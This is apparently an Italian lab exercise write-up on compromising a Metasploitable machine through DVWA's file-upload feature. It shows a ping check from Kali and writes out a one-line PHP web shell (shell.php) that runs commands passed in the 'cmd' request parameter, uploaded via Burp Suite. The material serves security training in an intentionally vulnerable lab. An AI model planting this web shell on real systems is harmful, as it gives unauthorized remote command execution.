S6L1

La consegna di oggi prevede prendere il controllo della macchina Metasploitable tramite la funzione upload della pagina di DVWA. Per accertarci di questa cosa bisogna:

- Che le due macchine comunichino tramite ping.

- Accertarsi che i pacchetti inviati siano quelli desiderati tramite Burpsuite.

Per prima cosa bisogna controllare che Kali e Metasploitable comunichino:

```
┌──(kali㉿kali)-[~/Desktop]
└─$ ping 192.168.49.101
PING 192.168.49.101 (192.168.49.101) 56(84) bytes of data.
64 bytes from 192.168.49.101: icmp_seq=1 ttl=63 time=4.77 ms
64 bytes from 192.168.49.101: icmp_seq=2 ttl=63 time=0.922 ms
64 bytes from 192.168.49.101: icmp_seq=3 ttl=63 time=0.805 ms
^C
── 192.168.49.101 ping statistics ──
3 packets transmitted, 3 received, 0% packet loss, time 2064ms
rtt min/avg/max/mdev = 0.805/2.167/4.774/1.844 ms
```

Una volta fatto ciò bisogna creare il file shell.php da inviare a Metasploitable:

```
1 <?php system($_REQUEST ["cmd"]); ?>
2
```

Infine, tramite Burpsuite si può inviare alla DVWA di Metasploitable il file shell.php che potrà far eseguire ulteriori comandi alla macchina target.